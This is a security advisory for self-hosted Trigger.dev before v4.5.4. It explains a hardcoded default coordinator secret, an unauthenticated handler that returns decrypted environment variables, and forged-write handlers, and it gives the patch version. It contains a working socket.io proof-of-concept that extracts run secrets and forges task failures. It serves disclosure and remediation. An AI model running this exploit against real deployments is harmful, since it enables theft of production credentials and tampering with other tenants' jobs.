Is trigger.dev safe? npm package security report

GHSA-gg6r-gp4c-89hp

CRITICAL

// tl;dr

The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READYFOREXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.

// vulnerabilities

This attack is made possible by 3 vulnerabilities in Trigger.dev:

// 1. hardcoded default authentication secret (cwe-798, critical)

PROVIDERSECRET and COORDINATORSECRET are declared with .default("provider-secret") / .default("coordinator-secret") in apps/webapp/app/env.server.ts:289-290. The values are present in the public source repo, neither var is documented in docs/self-hosting/env/.mdx, hosting/docker/.env.example, or hosting/k8s/helm/values.yaml, and the auth check at packages/core/src/v3/zodNamespace.ts:148 is a plain string compare against that published value

// 2. coordinator handler returns decrypted env vars to any authenticated caller (cwe-200, high)

READYFOREXECUTION at apps/webapp/app/v3/handleSocketIo.server.ts:123 calls sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...), which at apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895 returns payload.environment as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only marqs/ code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below

// 3. other coordinator handlers accept attacker-controlled writes against arbitrary runs (cwe-862, high)

TASKRUNCOMPLETED, TASKRUNCOMPLETEDWITHACK, TASKRUNFAILEDTORUN, CHECKPOINTCREATED, CREATEWORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. attempt friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id

// exploit chain / poc

import { io } from "socket.io-client";

const sock = io("https:///coordinator", {
  auth: { token: "coordinator-secret" },
  transports: ["websocket"],
});

sock.on("connect", () => {
  // exfil decrypted env for a known run id
  sock.emit("READY_FOR_EXECUTION", { runId: "", totalCompletions: 0 }, (res) => {
    console.log(res.payload.environment);
    // { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... }
  });

  // mark any attempt failed
  sock.emit("TASK_RUN_FAILED_TO_RUN", {
    completion: {
      id: "",
      ok: false,
      error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" },
    },
  });
});

// resolution

Fixed in v4.5.4. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit 5ba8557a5 (#4236) — including the /coordinator, /provider, and /shared-queue Socket.IO namespaces, packages/core/src/v3/zodNamespace.ts, the marqs shared-queue consumer, and the PROVIDERSECRET / COORDINATORSECRET environment variables.

All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the READYFOREXECUTION env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.

Affected: self-hosted Trigger.dev < 4.5.4. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).

Managed cloud (cloud.trigger.dev) was not affected: it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.

Action: self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.